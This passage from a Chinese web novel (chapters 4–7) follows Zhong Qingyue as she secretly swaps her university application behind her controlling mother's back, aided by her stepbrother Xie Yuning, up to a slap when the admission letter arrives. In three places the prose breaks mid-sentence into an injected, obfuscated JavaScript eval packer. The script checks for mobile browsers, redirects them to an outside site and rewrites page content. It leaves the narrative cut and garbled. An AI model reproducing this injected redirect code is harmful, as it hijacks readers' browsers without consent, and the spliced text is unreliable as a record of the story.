钟爸絮絮叨叨的离开,羽毛球馆只剩钟卿悦和谢昱宁。 谢昱宁沉默地擦拭着球拍手柄,直至干净无汗液后才放进礼盒。 “哥,你把卡号发给我,钱到账我转给你。” 谢昱宁扣盖子的手一顿,微微偏头,“不用。” 钟卿悦喜出望外,但还是佯装客气道:“这不好吧……” “没事。”他忙着手里的动作,放回礼盒,关上储物柜,扔掉手里垃圾。 钟卿悦跟在他身后侃侃而谈,“那我可不客气啦,我是个财迷。” 谢昱宁径直朝楼梯走去,她立刻小跑追上去,他都不要钱了,那她不能吝啬夸赞啊。 “哥,你打羽毛球真厉害,第一轮结束我就知道我们赢定了。” “我觉得跟球拍没关系,就是技术过硬。” “哥,你体力太好了,是经常运动吗?” 谢昱宁倏然止步,头冒黑线,她话太多了。 “哥,你……” 砰—— 钟卿悦一头撞到他后背上,鼻头一酸,眼里蕴起雾气,他怎么突然不走了。 “……不好意思。” 谢昱宁黑着脸转身,入眼是她泪眼婆娑的模样。 “对不起。”她一边揉着鼻子,一边哼唧道。 谢昱宁蹙起眉,骤然转身,大步往台阶上迈去。 “等等我,等等我。”钟卿悦小跑着跟上,“你伤口没事吧?” 他冷着脸,“没事。” “我看看,我看看。” 他停住步子,偏头看她,后者眨巴眨巴眼睛,乖巧等着。 他闭了闭眼,抬起胳膊撩起袖口。 纱布原封不动的包在伤口处,没有洇湿过的痕迹,也没有血透出来。 钟卿悦满意地点点头,“一会儿我帮你拆开纱布看看。” “我要出门。” “那下午。”钟卿悦一顿,“那晚上!” “晚上你在房间等我哦。” 谢昱宁眯起眼,盯了她一瞬,继而大步离开。 钟卿悦挠挠头,他听到没? 4. 第 4 章 之后的时间里,钟卿悦可谓做到了无微不至。 关心谢昱宁的伤口,吃东西不忘他的份儿;晚上他在书房忙碌,她敲门给他添水。就连出门逛街偷偷买零食都给他买一包,虽然他婉拒,但她都开口送了呀,他应该能感受到她的诚意吧。 纠结着,水深火热着,一眨眼也就到了填报志愿最后一天。 这天钟妈下班到家已经将近六点,距离填报结束还剩最后二十分钟,钟妈迅速喊着钟卿悦去确认填报有无差错。 一切都在钟卿悦的掌控之中,钟妈不信任她,没关系,她有瞒天过海的计划。 五点五十分,两人前后脚走进书房。 她坐在电脑前,钟妈则严肃地站在一侧。 电脑开机,她平静地打开浏览器登录系统。界面一闪,志愿填报表格显现,第一志愿上挂着江城大学经济学。 钟妈十分谨慎,俯身凑近屏幕,一丝不苟道:“点确定,再确认一下。” 她依言照做,点下后,弹框显示:您的志愿没有修改,无需再次确认。 钟妈点点头,缓缓直起身体,“这样就万无一失了。” 她乖巧地笑笑。 钟妈:“行,关了吧,就等录取通知书了。” 她应声,却没移动鼠标,她在等待钟妈离开,她好顺理成章的继续接下来的计划。 然而身后的钟妈纹丝不动,双手抱胸站着,目光一瞬不瞬地盯着她。 她能清晰感知到钟妈的视线黏在她身上,认真观察她的一举一动。 还不走吗?! 她突然有些慌,余光去瞥时间,五点五十六分,留给她的时间不多了。 她深吸一口气,强迫自己冷静下来。关掉浏览器,回到电脑桌面,身后的钟妈还在等待她关机,她闭了闭眼,不断提醒自己不能露出马脚。 滑动鼠标,移到左下角开始位置,点击电源,再次移到“关机”两个字上…… 就在这时,身后突然传出一阵悦耳的手机铃声,黏在她身上的视线也陡然消失,钟妈背对她快步往门口走,“我接个电话。” 她呼吸一滞,连忙随着站起身,佯装关机准备离开的样子,实则已经点开浏览器。 五点五十七分,钟妈已经离开书房,背影渐行渐远。 钟卿悦按照心里演练无数遍的计划,登录志愿填报系统,找到左上角的导入志愿预填表,系统提示再次输入登录密码,她迅速敲击键盘,按下回车,鼠标转为圆圈转动……下一秒,卡住了。 界面没有任何反应,输入密码的弹窗卡在正中间,纹丝不动。 她心里一慌,再次去看右下角的时间,五点五十八分。 秒数随着时间流逝逐步增加,15…16…17… 一分一秒度过,界面没有任何变化,鼠标持续转圈。 她手心冷汗一片,狂跳的心脏仿佛堵在嗓子眼,每一次振动都带来喉间的酸胀。 58分54秒…… 已经卡了接近一分钟,她不能再等下去了。 心思落定,她移动鼠标到浏览器上方的刷新,刚准备点击,界面忽然一闪,输入密码的弹窗消失,取而代之显示:是否确认上传? 她迅速点击[是]。 志愿表格瞬间被替换,第一志愿静静挂着故南大学历史学。 59分20秒,距离成功只差最后一步。 “悦儿。” 由远及近的声音透过虚掩的门缝传来,钟妈熟悉的声线带着几分急促。 她选择性装聋,不管不顾地将界面拉到最底端,点击确定。 [您的志愿已经修改,是否确认?] 没有任何犹豫,她立刻点下[是]。 界面保存后刷新,新的志愿成功上传。 “悦儿?”钟妈声音越来越近。 她迅速叉掉浏览器,直接按下主机电源。 “干嘛呢?喊你半天没声音。”钟妈推开书房门,目光如锋利的刀刃,直直射在钟卿悦身上。 钟卿悦站在书架前茫然回身,压住手忙脚乱下急促的呼吸,对上那双满是质疑的眼睛,“怎么了,妈妈。” “我在找初中的同学录,怎么也找不到了。” 她自然的将面向转回书架,余光趁机瞥向电脑屏幕,漆黑一片,天衣无缝。 钟妈没接话,缓步朝她走去,目光直白地落到电脑上,狐疑地左右扫视,没有发现异常,“先别找了,该吃饭了。” 她笑了笑,放下手里的书,“好。” 钟妈若有所思地点头,沉了片刻离开书房。钟卿悦泄了气,一屁股坐到椅子上。 高度紧张的神经骤然松懈,成功的喜悦被漫延全身的冷汗浇灭。清凉的房间,她背后黏腻腻,粘着睡衣布料,难舍难分。 与此同时,一楼客厅。 钟妈走下楼梯,钟爸立刻迎上前,“怎么样?是江城大学吧,没改吧?” 钟妈不动声色地点点头,“没改。” 两人的对话一字不落地传进站在玄关处的谢昱宁耳中,他平静换上拖鞋,抬眸看向空荡荡的三楼。 江城大学?她不是要报故南大学? — 志愿填报结束,钟卿悦又恢复吃喝玩乐的日子,不再胆战心惊,也不用盯着谢昱宁,生活变得美妙无比。 这天晚上练完琴,她钻进厨房给水杯添满水,又切了一大盘水果,准备回卧室打游戏。 刚洗完手,她便听到身后传来轻微的脚步声,她下意识循声回望,只见谢昱宁端着水杯往厨房走。 “哥。”她随意唤了声。 他即刻应声,“嗯。” 钟卿悦转回头擦干手,把洗净的蓝莓扔进水果盘。 谢昱宁看一眼岛台上盛满温水的海绵宝宝水杯,再看一眼手中空空荡荡的派大星水杯,眸色沉沉。 钟卿悦拍拍手,端起水果和水杯,径直往厨房外走。 经过谢昱宁时,她说道:“你关灯吧。” 谢昱宁没说话,瞥了眼她的盘子,四五样切好的水果,还有蓝莓…… 她没问他吃不吃,也没强硬地塞给他。 — 第二天,钟卿悦逛街回家,左手提着零食礼包和咖啡,右手挎着购物袋,手上还拿着手机跟孟辰薇热火朝天的聊八卦。 刚换下拖鞋,谢昱宁恰好下班进门。 她抬头匆匆瞥了一眼,嘴角还带着吃瓜后的愉悦笑容,心不在焉地唤了声,“哥。” 谢昱宁淡淡垂眸看向她手里隐藏不算好的零食礼包,和上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501531|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次她非要塞给他的一模一样,但……只有一包。 钟卿悦注意到他的目光,连忙用购物袋挡住零食,抬眸瞪他一眼,“不准告诉妈妈。” 他蹙眉,还未开口回答,她的身影已翩然远去,眼睛还在聚精会神地盯着手机,指尖不断轻戳屏幕,轻笑声细微飘来。 这些小插曲如石子投进波澜不惊的湖面,激起层层涟漪。 谢昱宁心里存了猜疑,钟卿悦却一无所知。 事件爆发的节点是两天后。 钟爸非要喊钟卿悦去运动,她自然不想,但又不愿在录取通知书收到前惹钟妈不快,只好认命的跟着去羽毛球馆。 进门就见谢昱宁已经在空拍挥拍练习。 钟爸完成任务似的,对着钟卿悦大手一挥,“你妈妈让你蹬单车。” 钟卿悦翻个白眼,懒得反驳了。 最多再两个月,忍! 她跨坐在单车上,面对着雪白雪白的墙壁,认命地一脚一脚的踩。身后的两人已经开始比赛,击球的声音干脆规律,像催眠曲。 没蹬几下,大腿又酸又涨,速度明显慢下来。 她停下回头去看,钟爸注意力全在打球上,根本没在意她。 她抿唇偷笑,反身坐到车椅上,背对着把手,踩在脚踏上反着蹬,丝滑无比,毫不费力。 她乐在其中,一边蹬一边看两人打球。 只见谢昱宁迅速挥拍,羽毛球飞速旋转着冲向钟爸领地。钟爸挥拍抵挡却没打准,球急速砸向地面。 “哎呀,你球技怎么见长啊!”钟爸懊恼地叹息一声。 谢昱宁没接话,目光却看向钟卿悦方向。 钟卿悦恰好也在看他,四目相对,他寒凉的眸子波澜不兴,看不出情绪。 她疑惑地眨眨眼,看她干嘛?她脸上可没有羽毛球。 还未想明白,谢昱宁的目光已经离开。 钟卿悦丝滑地蹬了一个小时,期间蹬蹬停停,不能说没锻炼吧,只能说没什么作用。 熬到两人打完,钟爸又水灵灵的输了,直呼“老了老了”。 钟爸收起球拍擦着汗离开。钟卿悦见他走了,立马从单车上跳下来,紧随其后就要走,耽误半天了,她搭子还等她日常呢! 脚还没踏出门槛,就听谢昱宁的声音传来,“钟卿悦。” 她以为自己听错了,茫然回头,“哥?你喊我?” 谢昱宁没说话,目光平静地看着她。 她丈二和尚摸不着头脑,“有事吗,哥哥。” …… 沉默片刻,他摇头,淡淡道:“没事。” 她没什么想说的?她不是一向话多。 钟卿悦:“哦,没事那我走了。” 她迈步就往楼梯上冲。 “等等。”谢昱宁说。 她一个急刹车,“啊?怎么了?” “你报的江城大学?” 钟卿悦头皮一阵发麻,他怎么突然问这个? “啊……对。” 谢昱宁蹙眉,“你不是要报故南大学?” 她心中警铃大作。 谢昱宁:“你……” 钟卿悦不给他继续问下去的机会,一个箭步冲上前,在他注视下,踮起脚,一把捂住他的嘴。 5. 第 5 章 钟卿悦觉得自己要遭殃了。 她和谢昱宁之间仅存的窗户纸捅破了,他还因为她捂他嘴生气,黑着脸就走了。 她也没心思想游戏,追出去就看到他已经上了楼。她折返去厨房,从冰箱拿了瓶电解质水当敲门砖。 站到谢昱宁房门前,她小心翼翼叩响门板,“哥。” 没人开门。 她将耳朵凑到门上,试图用听力判断里面是否有人。 奈何隔音效果太好,什么也听不见。 她鼓起勇气,再次敲门,“哥,你在吗?” 等了片刻,屋内响起轻微的动静,下一秒,门开了。 谢昱宁脸冷得像冰川,看一眼都打哆嗦。 她硬着头皮讨好地笑笑,双手奉上电解质水,“哥,你喝水,运动后补充电解质。” 他垂着眼皮瞥了一眼,没接。 “你听我解释……”钟卿悦眨着一双透亮的杏眸,可怜兮兮的模样。 “说。” 她四下张望一眼,方圆五十米内没见其他人。 她压低声音凑近谢昱宁,刚要开口,谢昱宁弹射式的后撤一步,如临大敌般拉开两人之间的距离。 她满脸迷茫地瞪着眼。 谢昱宁偏开头,那股陌生的馨香再次扑面而来。方才在羽毛球馆她飞扑上来时也带着同样的气息,整个人黏在他身上,肌肤之间只隔着两层薄薄的布料,灼烫炙热。 她已不在是小孩,他也是在几分钟前才意识到。 “站好说话。”他冷冷道。 钟卿悦缓慢点头,看来她捂他嘴给他造成心理阴影了。 她乖巧退回原位,声音压得更低,“我不是故意瞒你,我确实报了故南大学,但爸妈不知道,我是偷偷改了志愿。” 谢昱宁蹙眉,“为什么不告诉他们?” “开什么玩笑!”她声量调高一瞬接着又小下去,“你一点不了解爸妈。你只需要知道,我做的任何选择他们都觉得是错的。” 谢昱宁:“那你打算瞒到什么时候?” 她耸耸肩,“消停一天是一天呗,最晚也就是录取通知书来的时候。” “所以,哥哥,你其实听到那天我打电话了吧?” 谢昱宁不置可否,“我只听到你要报故南大学。” “你不知道我偷偷改了志愿???” 他眉梢上挑,“嗯。” 她无奈地闭上眼,好嘛,搞来搞去还是自己自爆的。 “算了。”她扬扬手,“你愿意告诉妈妈就去吧。” 他敛眸,沉静晦暗的眼睛盯着她,“我很不值得信任?” 这句话来得猝不及防,钟卿悦尴尬地挠挠头,“不是啊。” “我不会说。”他薄唇轻启,声色清淡却笃定。 钟卿悦眨巴着杏眸盯着他,莹润的眸子闪亮,仿佛能透出星光,“呜呜呜哥,你太好了!” 谢昱宁挑眉,转言道:“你要去过敏乐队的演唱会吗?” 钟卿悦的表情僵在脸上,忽闪忽闪地眸子一瞬不瞬地盯着他,仿佛以为自己听错了,“什么?” “月底,过敏乐队安城站的演唱会。”谢昱宁重复道。 “去!我去!”她满是欣喜地看着谢昱宁,“你怎么知道我喜欢过敏?!” 谢昱宁没回答她,“妈月底要出差,参加合作交流会,大约一周。我要去安城出差。” 钟卿悦立刻明白他话里的意思,“我懂我懂。” “哥哥,你饿吗?你渴吗?”她递上手里的电解质水,“你喝。” 谢昱宁似笑非笑地接过。 “可是……”钟卿悦皱起眉,整个人突然从兴奋转到委靡不振,“我没买票,现在应该来不及了,肯定都售罄了。” 谢昱宁:“可以买到包厢票。” “真的?!”她期待地看着他,“能买到几张?你去吗哥?我能带我朋友吗?” “不超过五个人,我有工作。” 她感激涕零,“那我问问我朋友。” 谢昱宁:“问好把信息发我。” “遵命!”她冲他wink一下,“有事吩咐我,我二十四小时随叫随到哦。” — 钟卿悦回了卧室就在微信群里发消息。 [家人们!过敏安城站演唱会!去不去!@全体成员] [孟辰薇:/惊恐这是人类语言吗?] [贺文杉:悦姐睡懵了?] 钟卿悦叹口气,她毫无自由的形象已经如此根深蒂固了吗?这种话说出去居然都没人相信。 她将事情的来龙去脉讲了一遍,[一句话,去不去!] [孟辰薇、贺文杉:去!!!] 要来两人的信息,连夜发给谢昱宁。 彼时,已深夜,谢昱宁靠在椅子上,电脑屏幕中光标闪动,纯黑底色上的代码繁复。 他单手握着手机,看着屏幕上发来的三个身份信息,末尾那人的名字让他蹙起眉头。 贺文杉,身份证倒数第二位奇数,男生? — 一周后钟卿悦在APP上查到了自己演唱会的门票,她颤抖着手,把切好的西瓜芯放进谢昱宁的盘子里。 好人!大好人!好人一生平安!好人长命百岁! 当天晚饭,谢昱宁便开口了,“妈,英国那边已经安排好了。” 钟妈摆摆手,“不用,我自己可以。” 钟爸:“是我让昱宁安排的,你自己在国外我也不放心。” “好好好。”钟妈拗不过。 铺垫好,谢昱宁继续说道:“我20号要去安城出差,安城有演唱会,我带着…悦儿一起去。” 钟妈诧异不已,“安城?” 她偏头看向钟卿悦,“你缠着你哥带你去的?” 质问的语气砸在钟卿悦头上,她冷下脸就要反驳。 谢昱宁先一步接过话茬,“没,是我要带她。” 钟妈沉默片刻没再多言,看着钟卿悦说道:“别耽误你哥哥工作,去了乖一点。” 见钟妈应下,钟卿悦也不好再发作,闷着头回答:“知道了。” 如此回应引来钟妈不满,“说了多少次说话要有礼貌。把椅子往前拉一下,这么吃饭米粒都掉桌上了。” 钟卿悦低着头不接话,烦躁的情绪已达顶峰,若不是钟妈刚同意了演唱会,她早抬屁股走人了。 把椅子拉近些,咽下口中饭菜,她压着情绪望向钟妈,皮笑肉不笑道:“好的妈妈,知道了。” 接下来的时间都是沉默,只有筷子偶尔碰到碗边发出的细碎声响。 钟卿悦并没有因为钟妈的话影响胃口,她心大,早已将饭桌上的批判和说教当成配菜。 时间缓慢有序的行进,钟卿悦每天像个忠诚的小仆人,尽职尽责。 周末,她出门逛街,经过手表门店时忽然想起谢昱宁戴的手表,是钟爸送给他的,为了遮挡他腕间的疤痕。过完夏天,钟爸总会给他换表带,因为磨损,因为汗液的侵蚀。 她鬼使神差地走进门店,为他挑了两根表带。 晚上吃完饭,她见谢昱宁往书房走,她拿着表带紧随其后跟上,“哥,等会儿。” 他侧身站在门口处,疑惑回头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501532|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她扬扬手里的礼物盒,“表带。” 谢昱宁沉静的眸子染上一丝诧异,顿了一瞬,才淡淡开口,“进来。” 跟着他进了书房。他从抽屉里拿出一个木质盒子,里面装着更换表带的工具。 钟卿悦坐到他对面,把展开的礼物盒推到他面前。手工缝制的方形鳞纹鳄鱼皮表带,一款栗色,一款黑色。 谢昱宁解开腕间的表带,醒目的伤口赫然入眸。凸起的细密针脚如丑陋的蛇身盘踞在皮肤之上,触及他曾经历的黑暗童年。 那是一个糟糕的天气,黑云压城,宛如科幻片的世界末日。 年仅7岁的谢昱宁被堵在谢氏庄园后花园的喷泉边。他骨瘦如柴,而面前的两个堂弟却肥头大耳。 他们钳制住谢昱宁的身体,用美工刀划破他的手腕,鲜红的血液涌动,混着雨水滴在草坪上。 花匠发现时,谢昱宁站在雨中,浑身上下湿透,垂着的指尖还在不断滴血。 趴在地上的谢宇谦手背上插着美工刀,叫得撕心裂肺。 自此,谢家再也没人敢接近谢昱宁,而他腕间的伤口因太深,割破静脉,伤及神经,再也不能提重物。 钟卿悦第一次听到这个故事时,谢昱宁问她,“怕吗?” 她摇着头告诉他,“如果害怕就要被人欺负,所以不能说害怕。” 面前的谢昱宁已拆下旧表带,眼睛聚精会神地盯着细小的螺丝。 “哥,你手臂的伤好了吗?” 谢昱宁停下动作,自然地撩起睡衣袖口,露出醒目的暗红色疤痕。 一只手臂,两处疤痕。 “让袁姨给你买祛疤痕药膏吧。” 他点了点头,却问道:“为什么买表带?” “因为夏天过了一半了呀!”她托着腮,语气轻松。 谢昱宁捏紧手中的螺丝刀,凸起的握柄在掌心留下清晰的压痕。 — 有所期待的日子总是过得特别快,不知不觉间就到了20号。 一大早吃过早饭,两人踏上去安城的车,一路上接了孟辰薇和贺文杉,车子便向西往高速口开去。 商务车的空间极为宽敞,钟卿悦和孟辰薇坐在前排,谢昱宁和贺文杉则坐在后排。 前排的两人说说笑笑,商量着晚上的穿搭和游玩的景点。反观后排,除了刚上车时礼貌的打招呼外,其他时间谢昱宁都支着下巴看窗外,贺文杉则局促的干坐着。 半晌,贺文杉措好辞,主动和谢昱宁搭话,“大哥,您是做什么工作的?” 谢昱宁缓慢偏头,平淡的目光落在他身上,“人工智能。” 贺文杉的笑容僵在脸上,一时间语塞,他不了解这个行业,不知该如何接话。 见他不说话,谢昱宁又转开视线。 此时,前排的钟卿悦回过头,“贺文杉,你有什么想去的地方吗?” 有了说话的,贺文杉一下子放松神经,兴致盎然道:“我找了一家唱片店,据说能买到过敏《时光序幕》的黑胶唱片。” 钟卿悦瞬间瞪大眼睛,“真的假的?” “当然是真的。”贺文杉骄傲地扬起下巴。 钟卿悦:“厉害啊!一定能买到吗?” 贺文杉神秘一笑,“我早私信问了店主,只有两张。虽然不能预订,但价格高,卖出去的概率比较低,所以基本没问题。” “太好了!”钟卿悦大手一挥,“贺文杉,最得朕心!” 深得青睐的贺文杉神采奕奕,配合道:“多谢悦皇上。” 一直沉默的谢昱宁眉头微微蹙起,幼稚,找到一家店就最得朕心了? 6. 第 6 章 车子又行驶出去几十公里,钟卿悦三人一直在闲聊。 说话间,钟卿悦突然疑惑地盯着贺文杉的脸左右瞧着,“贺文杉,我怎么觉得你左边眼眶黑乎乎的?” 贺文杉转开头,挠着后脖颈,明显心虚,“啊有吗?” 孟辰薇点头附和道:“还真有,明显跟右边不是一个颜色。” 钟卿悦:“你该不会跟人打架了吧?” “没有没有。”他揉了把眼,一系列无用的小动作透露他此刻的慌乱,“就前段时间被我爸打了一拳而已。” “为什么啊?”钟卿悦和孟辰薇异口同声问道。 “没什么。”他故作轻松笑笑,“我报了海华大学,他不乐意,打我一顿出出气。” “什么?!你报了海华大学?”钟卿悦以为自己听错了,“你之前不是要留在江城吗?” 贺文杉:“那你们都去故城了,我得去保护你们啊。” 钟卿悦哑口无言,贺文杉是个非常恋家的人,高中三年他说过无数次要在本地读大学,眼下却跟着她们去遥远的故城。她说不上来什么感觉,心里五味杂陈。 贺文杉摆摆手,“哎呀,到时候你们有事吱声,我随叫随到的。” 谢昱宁沉默听完这段对话,清冷的面容转向窗边,长睫下的双眸冷冽异常,一瞬不瞬落向远方。 这段插曲后,车厢里安静了许久,直至贺文杉再次打破平静。 他在网络上搜到过敏乐队之前巡演的视频,倾身凑到前排缓和关系,“悦姐悦姐,你看这场live,绝了。” 钟卿悦接过手机,贺文杉则趴在前排车椅的一侧,和她一起看。 两个脑袋挨得很近,仿佛他靠在钟卿悦肩膀上。 谢昱宁直直盯着这一幕,鼻尖似乎又掠过那股熟悉又陌生的馨香,贺文杉是不是也能闻到? 想到这,他眼神瞬间冷了下来。 “钟卿悦。” “啊?”钟卿悦直起身,茫然回头,“怎么了,哥?” 他微微皱眉,声音冷淡低沉,每个字都像刚从冰窖里拖出来一样,“妈给你发消息了吗? “没吧。”钟卿悦把手机还给贺文杉,低头去掏自己的手机,“妈妈找我吗?” 谢昱宁:“你跟她报备一下。” “哦。”她乖巧应下。 谢昱宁淡淡看着她,又道:“找齐乐拿你的水杯。” “哦,好。” 钟卿悦对着窗外拍了张照片给钟妈发过去,说了几句放心之类的话,又依言找驾驶位上的人要水杯。 之后的路程贺文杉都在认真玩手机,没再凑到钟卿悦身边。 一个小时后,车子下高速到达安城市中心。 入住酒店后谢昱宁离开去忙工作,三人吃完午饭直奔贺文杉找的唱片店。 可惜《时光序幕》的黑胶已经售罄,没能买到,钟卿悦有些失落。 后续又逛了几家唱片店,都无疾而终。她索性放弃,去逛文创街,意外买到可爱的城市风貌摆件,失落的情绪瞬间丢之脑后。 一口气逛到三点多,三人便返回酒店休整,准备晚上去看演唱会。 傍晚时分,司机送他们去体育场,谢昱宁一直没露面,似乎工作还没处理完。 钟卿悦检票进了场后给他拍了几张照片,又嘴甜的夸他一番: [哥哥,包厢位置真好,肉眼也能看清舞台上的人。] [我看隔壁包厢都十几二十几个人,这间只有我们三个吗?] [呜呜呜,哥,你也太好了,真的只有我们三个。] [我宣布你是最好最厉害最棒的哥哥!] 随着时间推进,天逐渐黑下来,原本亮如白昼的体育场霎时间陷入昏暗,暖场音乐停止,只剩清一色的应援棒散发着幽幽蓝光。 转瞬间,舞台上的灯光骤然亮起,大屏显现巡演的主题,镁光灯交替闪烁,观众席的欢呼声划破夜空,振聋发聩。 升降台升起,四个模糊的身影出现,舞台边的冷烟花随之喷射升空,如星子散落人间。 音响里的伴奏声音逐渐升高,干净的音色唱起熟悉的旋律,带领人们进入乌托邦世界。 — 短短几小时,钟卿悦似乎忘却所有压力和烦恼,短暂逃离现实生活,沉浸在一场极致美丽的梦境中。 当音乐消散,灯光亮起,白昼仿佛再次回归,带她离开梦境,回到现实世界。 她捡起落在护栏上的彩带,折成星星,也把这场梦藏在其中。 回酒店的路上她才意识到自己声音有些暗哑,孟辰薇还好,贺文杉直接说不出话了。 她笑他,“让你唱那么大声。” 贺文杉不服气的反驳,声音如老旧的唱片机,嘶哑轰鸣。 她挑了几张好看的照片发给谢昱宁,中间还夹了几张她的美照。 谢昱宁一直没回,可能还在忙工作。 回到酒店洗了个澡,整个人扑在床上,她才感知到身体的疲倦,小腿酸胀,嗓子隐隐作痛。 她望着天花板,仍然觉得这样很好,痛并快乐着。 枕边手机震动,她懒懒拿起,屏幕上跃然显现“哥哥”两个字,她点开消息,又看到另外两个字:开门。 怀着满腹疑惑跑去门口。 门打开,西装革履地谢昱宁站在门口,手上提了个黑色手提袋。 “哥?你刚回来吗?” “嗯。”他将手提袋递上。 “什么?”她好奇地眨眨眼,接过拉开一角,蓝色沙漏的封面映入眼帘。 “时光序幕!”她不敢置信地拿出,厚实的黑胶唱片握在手中十分扎实,透明塑封膜下的蓝色沙漏随光线渐变,熠熠生辉。 “你怎么买到的!”她激动的反复查看,爱不释手,“我下午逛了好几家唱片店都没有。” 谢昱宁敛眸看着她,目光不自觉柔和几分。 “还是有编号的,我都不舍得拆了。”她指尖抚过右上角的金色编码,仔细一读,0410…… “是我生日。”她惊讶地抬头看他,一双眸子莹润流光,似银河璀璨,“居然是我生日诶哥!” 他唇角勾起,淡淡应声,“嗯。” 钟卿悦:“是巧合吗?或者你刻意买的吗?” 他蹙眉,反问:“有那么多巧合吗?” 是啊,哪有那么多巧合,当然没有。 她感动不已,暗暗下定决心,从此要无脑拥护她哥! — 在安城疯玩了三天,谢昱宁忙完工作一行人便打道回府。钟卿悦第一次脱离父母的旅行大获全胜,她心满意足。 回家没几天,七月份悄然结束。 八月来临,酷暑仍在叫嚣,火热的太阳炙烤着大地,滚烫的南风卷起一股又一股的热浪。 钟卿悦的情绪就像炎热的夏日,浮躁不安。 孟辰薇已经收到录取通知书,她却一直没有消息。午夜梦回她常常梦到修改志愿失败,被江城大学录取,惊醒时都是一身冷汗。 这天午后,她烦躁地喝了半瓶冰镇饮料,在床上翻来覆去十几分钟,头埋在枕头底下大喊几秒后——手机响了。 她条件反射地坐起身,迅速接通电话,手机里传来爽朗的男声,“你好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501533|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,钟卿悦吗?有你的快递,我在门口,方便签……” 不等快递小哥把话说完,她立刻说:“马上到!” 披了件防晒衣,拖拉着拖鞋就往庄园门口跑。 气喘吁吁到门口时,小哥站在树下的阴凉地里朝她挥挥手,“签收一下。” 接过沉重的快递袋,寄件地址印着故城市,她表情掩饰不住的欣喜。 “录取通知书吧?这两天送得全是这个。”小哥笑眯眯道。 她抿唇笑着点点头,认真核对好后签上名字。 “恭喜啊!”小哥跨上快递车,转动把手扬长而去。 炎炎夏日,门口只剩她自己,她紧紧捏着快递袋,不知是激动还是紧张,整个人都在发抖。 掐了一下手臂,疼,是真的,她真的可以离开江城了,太好了! 深吸一口气,压下浮躁的情绪,一鼓作气扯开快递袋的封口,厚实的红丝绒卡面出现在眼前。 捏着上端拿出,卡面正中间用暗红色腰封封着,腰封上烫金大字印着:录取通知书,下方是故南大学的校徽。她吸吸鼻子,居然想哭。 从门口走回去的路上,抬头望见高耸的主楼,心情沉重。她知道有一场新的“战役”在等待她,骤然“揭竿起义”,必定引起轩然大波。 如她所料,钟妈下班进门直奔她而来。 她已经做好万全准备,藏在背后的手用力捏紧录取通知书,眼睛坦然与之对视。 钟妈似乎预感到什么,目光如淬了毒的刀子,阴鸷寒凉,“还没收到录取通知书?我今天遇到骨科主任,他儿子一周前就拿到江城大学录取通知书了,你的呢?” “我也拿到了。”钟卿悦尽力让声音平静,她缓缓起身站在钟妈面前,“只不过不是江城大学的。” 钟妈一直坚信钟卿悦作不出什么妖,然而事情真真切切发生了。 她身子微微晃了下,暗哑的声音压抑着怒火,“拿出来。” 钟妈是一个极其体面的人,行事稳妥,气质优雅,从不高声讲话。眼下这副模样,钟卿悦也从未见过,但她明白,已然触到钟妈的逆鳞。 她捏了捏掌心,鼓起勇气将录取通知书拿出,暗红色封面夺目,烫金的故南大学又如此刺眼。 钟妈打眼看了一瞬,抬手猛地扬起,录取通知书顺着力在空中划出一道抛物线,腰封脱离卡面,分崩离析,仓皇落地。 “你真是不知天高地厚。”钟妈言辞激烈,半抬的手不停颤抖,“你到底想干嘛?” 钟卿悦倔强抬头,高高扬起的下巴不带丝毫服输的样子,“我不想读江城大学。” “你不想?你不想的事情多了,还能都随你的意?” “我早该猜到你没那么听话,你真是太让我失望了,我怎么生了你这样的孩子。” 一根尖锐的针刺进钟卿悦的心脏,钝痛感清晰流窜全身。眼眶忽而盈满泪水,但她倔强抬着头,眼睛不肯眨动一下。 “您需要的是机器人,要不让我哥给您发明一个呢?没有情感,不会反抗,只是一味乖巧听话。” “从小到大我都任您摆布,不愿意学钢琴不行,想跟朋友去夏令营不行,学文科不行,我说什么都是不行不行不行。” “我受够了!我要疯了!我一刻都不想呆在这个家了!” 啪—— 一记响亮的耳光甩在钟卿悦脸上,耳边再无其他声音,只能听到嗡嗡的轰鸣声。 钟妈颤抖着手掌,喊得撕心裂肺,“滚!你给我滚!我没有你这样的女儿!” “妈。” 谢昱宁清冷的声线突然从玄关处飘来。 7. 第 7 章 挨打的那一瞬钟卿悦是懵的,直至感受到半个脸颊传来火辣辣的痛感,连带整边的头都发沉。 生理性的泪水滑出眼眶,顺着涨红的脸颊落到脖子上。 她抬起头,谢昱宁已站在面前,她疲倦地扯了扯嘴角,眼泪却不争气地往下掉。 温热的掌心握住她冰凉的手腕,似安抚,似哄劝。 谢昱宁背对她跟钟妈讲话,“妈,我爸今晚开会,没带高血压药,助理在外面等着,您找了让他带去公司吧。” 人也打了,气也撒了,钟妈没再执拗的非要教训钟卿悦,转身上了楼。 